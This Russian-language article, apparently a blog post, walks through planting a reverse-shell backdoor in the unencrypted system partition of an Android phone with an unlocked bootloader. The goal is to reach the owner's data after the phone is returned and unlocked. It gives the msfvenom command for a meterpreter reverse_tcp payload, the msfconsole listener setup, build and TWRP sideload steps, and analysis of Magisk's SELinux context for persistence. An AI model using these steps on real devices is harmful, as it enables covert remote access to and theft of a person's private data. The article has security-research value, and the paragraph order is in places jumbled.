drwxrwx--- 13 media_rw media_rw 4096 2021-01-29 10:45 .
drwxrwx--- 4 media_rw media_rw 4096 2021-01-29 10:43 ..
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 3aIg6706qnt+JRerXQc,9B
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 5RxSnwRfzXH5JsgykyuneB
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 9QCg2626EAEHNRc,IpjzjC
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 XLrhnulSzxYVPwgkHhs8YC
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:45 ZC6kM5uXi6,coHL+OYgLCB
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 kJJ0DN8Tmhcs7hicwcEZ3A
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 mPaCm6PJHF9,MyimVTRozC
drwxrwxr-x 3 media_rw media_rw 4096 2021-01-29 10:43 qIkgta78EOvsfnjupFXQ+C
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 uAP,C13tjXpxdP8PWVeMRD
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 v33cOjp,wu+hlgBIWnQdjB
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 xxjD9tk7bDh9XZUzoDwMbBА вот так после:
# ls -la /data/media/0/
total 100
drwxrwx--- 13 media_rw media_rw 4096 2021-01-29 10:45 .
drwxrwx--- 4 media_rw media_rw 4096 2021-01-29 10:43 ..
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Alarms
drwxrwxr-x 3 media_rw media_rw 4096 2021-01-29 10:43 Android
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 DCIM
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Download
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Movies
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Music
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Notifications
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Pictures
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Podcasts
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Ringtones
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:45 bluetoothНа самом деле, шифрование хранилища – самая трудно преодолимая часть нашей задачи по извлечению данных. Обойти шифрование с ключами в аппаратном ТЕЕ никак не представляется возможным, но зато из этой информации следует несколько полезных выводов, а наша задача начинает формироваться в конкретные технические требования.
Во-первых, получать доступ к личным файлам пользователя в любом случае придётся только после ввода кода разблокировки.
Во-вторых, разблокированный загрузчик даёт возможность переписывать системный раздел, а он никогда не зашифрован, даже в BFU состоянии.
Это подводит нас к мысли о том, что можно воспользоваться возможностью модифицировать никогда не шифруемую часть системы, внедрить в неё агента, который никак не затронет и не испортит зашифрованные данные, а в последствие даст нам доступ к ней после того как устройство будет возвращено пользователю и он сам первый раз введёт код разблокировки. Поскольку пользователь явно не будет вводить код разблокировки подключив устройство к нашему usb кабелю или находясь в нашей локальной сети, то использование adb нам не подходит и необходимо организовать удалённый доступ в формате reverse-shell.
Проверяем на реальном устройстве
Ловить удалённое подключение от устройства будем на Kali в виртуалке. Для этого на ней сгенерируем пейлоад:
$ msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT> -f elf > revshellИ настроим слушатель:
$ msfconsole -q
> use exploit/multi/handler
> set PAYLOAD payload/linux/aarch64/meterpreter/reverse_tcp
> set LHOST <LISTENER_IP>
> set LPORT <LISTENER_PORT>
> run -jПосле этого возвращаемся на хост машину.
$ git clone https://github.com/LuigiVampa92/unlocked-bootloader-backdoor-demo.git
$ cd unlocked-bootloader-backdoor-demoИсполняемый файл по пути revshell/revshell заменим на нагрузку сгенерированную в Kali. После этого приступим к сборке.
Создадим для скрипта сборки переменную окружения, указывающую на абсолютный путь к android-sdk (зависит от вашей операционной системы):
$ ANDROID_SDK_ROOT=/usr/lib/android-sdk
$ export ANDROID_SDK_ROOTПодготавливаем NDK для сборки. Это нужно сделать именно через установочный скрипт, т.к. скрипту будет нужен отдельный изолированный инстанс NDK для сборки и рассчитывать он будет именно на него:
$ ./buildrevshell.py ndk$ ./buildrevshell.pyСобранные пакеты будут лежать в директории out.
Переходим к установке.
Сперва перезагружаем устройство в режим fastboot. На разных устройствах это делается по-разному. В большинстве случаев необходимо выключить устройство, зажать одну из физических кнопок регулирования громкости (например кнопку прибавления громкости) и не отпуская её нажать на несколько секунд кнопку питания.
$ fastboot boot twrp.imgНебольшое важное отступление. Я смог проверить работу только на устройствах которыми располагаю сам. Среди них были устройства на android 9 и 10, LineageOS 16 и 17, с классическим init как в старых системах и two-stage-init + system-as-root. Среди них не было устройств с system-as-root на android 9 и устройств с A/B партициями. Поэтому если конфигурация вашего устройства отличается, то на нём могут возникнуть непредвиденные проблемы. Я рекомендую сделать бэкапы важных разделов и сохранить их для того, чтобы иметь возможность восстановить их руками, в случае если что-то пойдёт не по плану.
Обычно это будет раздел boot, сделать его бэкап после загрузки TWRP можно так:
$ adb shell
# ls -la /dev/block/by-name | grep boot
lrwxrwxrwx 1 root root 16 1973-02-14 07:56 boot -> /dev/block/sde19
# dd if=/dev/block/sde19 of=/tmp/boot.img
131072+0 records in
131072+0 records out
67108864 bytes transferred in 0.429 secs (156430918 bytes/sec)
# ^D
$ adb pull /tmp/boot.img
/tmp/boot.img: 1 file pulled, 0 skipped. 35.8 MB/s (67108864 bytes in 1.785s)Проверьте есть ли у вас отдельные разделы для DTB, для этого зайдите в adb shell и выполните:
$ ls -la /dev/block/by-name | grep dtbЕсли увидите в списке dtb, dtbo и dtbs, то сделайте и их бэкапы тоже.
Ещё пара дежурных предупреждений:
Пожалуйста производите все действия только на своём устройстве
Убедитесь что на устройстве нет важных данных которые страшно потерять
Все действия выполняются на ваш страх и риск
Поехали. Запускаем sideload через GUI (Меню/Advanced/Sideload) или из терминала:
$ adb shell 'twrp sideload'$ adb sideload zip_reverse_shell_install.zipВажно! Здесь в зависимости от того был ли на устройстве предварительно установлен magisk или нет будет пропатчен или не пропатчен boot раздел. Если на устройстве magisk ранее установлен не был, то необходимо будет сохранить бэкапы оригинальных разделов. Сделать это нужно обязательно, даже если предварительно сделали бэкапы руками, иначе удалять наш инструмент также придётся руками, потому что деинсталлятор будет полагаться на наличие именно этих бэкапов, именно в этом формате. В логе TWRP тоже вылезет большое предупреждение об этом.
Вытаскиваем бэкапы с устройства:
$ adb pull /tmp/backup_original_partitions .Теперь можно выключить или перезагрузить устройство.
Удаление с устройства производится в обратном порядке:
Перезагружаемся в fastboot
$ fastboot boot twrp.imgЕсли сохраняли бэкапы во время установки, то вызываем:
$ adb push backuporignialpartitions /tmp/backuporignialpartitions$ adb shell 'twrp sideload'
$ adb sideload zip_reverse_shell_uninstall.zipЛегальные root-права и LineageOS
eng – это полностью отладочный вариант сборки, помимо легального root-доступа и отладочной информации в такой сборке присутствуют дополнительные инструменты для диагностики, поиска проблем, профилирования и отладки прямо на устройстве.
На отладочных типах сборок отсутствует исполняемый файл su, а получение легального root-доступа на них осуществляется с помощью перезапуска демона adbd с помощью команды adb root. Технически это реализовано в виде простого условия в коде adb. При запуске демон adb всегда стартует от root, но в определённый момент дропает свои привилегии до shell. На нерелизных сборках получив команду adb root он не понижает свои привилегии до shell, а пользователь получает возможность полноценно работать от пользователя root. Специально для того, чтобы adb мог таким образом предоставить полноценный доступ к системе существует специальный контекст u:r:su:s0, который собирается и включается в политики если сборка не является релизной. Он до конца разрешает процессу adb всё что в обычном случае было бы запрещено SELinux.
$ adb shell
$ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
$ ^D
$ adb root
restarting adbd as root
$ adb shell
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:su:s0Похожим образом «легально» root-права получает addonsu, который поставлялся вместе с LineageOS до версии 16 включительно (сейчас он deprecated). Он использует подход с записью исполняемого файла su в директорию /system/bin в разделе system, а также с демоном, который обладает заготовленным контекстом SELinux и может запускаться и останавливаться в зависимости от настроек системы и предоставлять доступ к оболочке с правами root если это разрешит делать пользователь. Тем не менее, с технической точки зрения, подход используется тот же самый. Разработчики LineageOS специально закладывают в исходный код правила для addonsu, они не знают, будет ли владелец пользоваться им или нет, но если всё-таки будет, то файлу su будут нужны эти политики, поэтому их вносят в *.te файлы в исходный код.
$ adb shell
$ su
# id
uid=0(root) gid=0(root) groups=0(root) context=u:r:sudaemon:s0$ adb root
adbd cannot run as root in production buildsМы не можем полагаться на то, что телефон с разблокированным загрузчиком будет и содержать LineageOS, и иметь включённый режим adb, к тому же контексту u:r:init:s0 запрещён transition в контекст u:r:su:s0, поэтому закрепиться в качестве системного демона подобным образом всё равно не получится, а значит для извлечения данных нам необходимо воспользоваться другим подходом.
Нелегальные root-права и magisk
Я назвал предыдущий подход к получению root-прав «легальным», потому что всё необходимое для этого было намеренно заложено в систему на этапе сборки. Совершенно иной подход использует инструмент для получения root-прав magisk, ставший, де-факто, стандартным инструментом для этих целей в сообществе любителей android. Magisk устанавливается на любые устройства, на любые сборки, на любые версии android, и не только на отладочные варианты сборки, но и на релизные, и даже на те устройства, на которых применяются дополнительные защиты от несанкционированного получения root-прав. Magisk по полной эксплуатирует разблокированный загрузчик и, по сути, совершает настоящий изощрённый взлом за что и будем его называть его «нелегальным». Для нас наиболее важно то, что magisk, по сути, делает всё тоже что хотим сейчас сделать мы. Он закрепляется в системе также, как хотим закрепиться мы, а значит, похоже, что нам с ним по пути.
Для начала постараемся выяснить как magisk получает root-права в рантайме. На устройстве выполняем:
$ adb shell
$ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
$ su
# id
uid=0(root) gid=0(root) groups=0(root) context=u:r:magisk:s0
# ps -Zef
LABEL UID PID PPID C STIME TTY TIME CMD
u:r:init:s0 root 1 0 1 09:17 ? 00:00:01 init
u:r:magisk:s0 root 658 1 0 09:24 ? 00:00:00 magiskd
u:r:zygote:s0 root 695 1 1 09:24 ? 00:00:01 zygote64
u:r:zygote:s0 root 696 1 0 09:24 ? 00:00:00 zygote
u:r:adbd:s0 shell 956 1 1 09:25 ? 00:00:01 adbd --root_seclabel=u:r:su:s0
u:r:platform_app:s0:c512,c768 u0_a39 2800 695 4 09:35 ? 00:00:07 com.android.systemui
u:r:priv_app:s0:c512,c768 u0_a120 3909 695 1 10:26 ? 00:00:01 com.android.launcher3
u:r:untrusted_app:s0:c113,c25+ u0_a113 5218 695 1 10:48 ? 00:00:00 com.topjohnwu.magisk
u:r:shell:s0 shell 5473 956 0 10:56 pts/0 00:00:00 sh -
u:r:magisk_client:s0 shell 5602 5473 0 10:59 pts/0 00:00:00 su
u:r:magisk_client:s0:c113,c25+ u0_a113 5629 5218 0 10:59 ? 00:00:00 su --mount-master
u:r:magisk:s0 root 5633 658 0 10:59 ? 00:00:00 busybox sh
u:r:magisk:s0 root 5708 658 0 11:02 pts/1 00:00:00 sh
u:r:magisk:s0 root 5795 5708 7 12:49 pts/1 00:00:00 ps -ZefЯ сократил вывод команды ps только до тех значений, которые нас интересуют.
Во-первых, мы видим что magisk имеет специальный контекст для своих процессов — u:r:magisk:s0. Наша оболочка с root-правами имеет терминал pts/1 и запущена с этим контекстом. Это явно не встроенный в систему контекст, а значит magisk смог его отредактировать и внедрить дополнительные правила перед запуском процесса init. Поскольку, наши root-права работают, и мы действительно можем делать в системе всё что угодно, контекст u:r:magisk:s0 должен иметь как минимум все те же разрешения, которые прописаны для u:r:su:s0, а может и больше.
Во-вторых, magisk имеет свой демон запущенный в системе – magiskd, он породил наш процесс с рутовым шеллом, а значит именно через него magisk и даёт другим процессам доступ с оболочке с root-правами, этот демон (PID 658) порождён процессом init (PPID 1), т.е. запущен как системный сервис. Демон также работает в контексте u:r:magisk:s0.
Мы подключились по adb и получили шелл на устройстве, терминал pts/0. Видно что процесс sh имеет контекст u:r:shell:s0, PID 5473 и PPID 956 который равен значению PID adbd, а сам adbd уже был порождён процессом init.
Мы вызываем исполняемый файл su и видим что его контекст – u:r:magisk_client:s0, следовательно magisk использует отдельный контекст для того, чтобы знать какие именно исполняемые файлы могут запрашивать доступ к root-правам. Исполняемый файл провоцирует открытие окна подтверждения доступа к root-правам для обычного shell, оно находится в пакете приложения MagiskManager — com.topjohnwu.magisk, получив результатат magiskd (PID 658) породил нам нашу оболочку sh с новым терминалом pts/1 (PID 5708, PPID 658), от которой мы отнаследовали и пользователя root (uid=0), и всемогущий контекст u:r:magisk:s0.
Для нас интересно вот что: если init запускается со своим ограниченным со всех сторон контекстом u:r:init:s0 из которого разрешены transition’ы только в прописанные в *.te файлах контексты для системных служб, а демон маджиска имеет контекст u:r:magisk:s0, значит magisk смог внедрить правило разрешающее прямой transition из u:r:init:s0 в u:r:magisk:s0. Это значит что и мы можем использовать контекст u:r:magisk:s0 в своём сервисе!






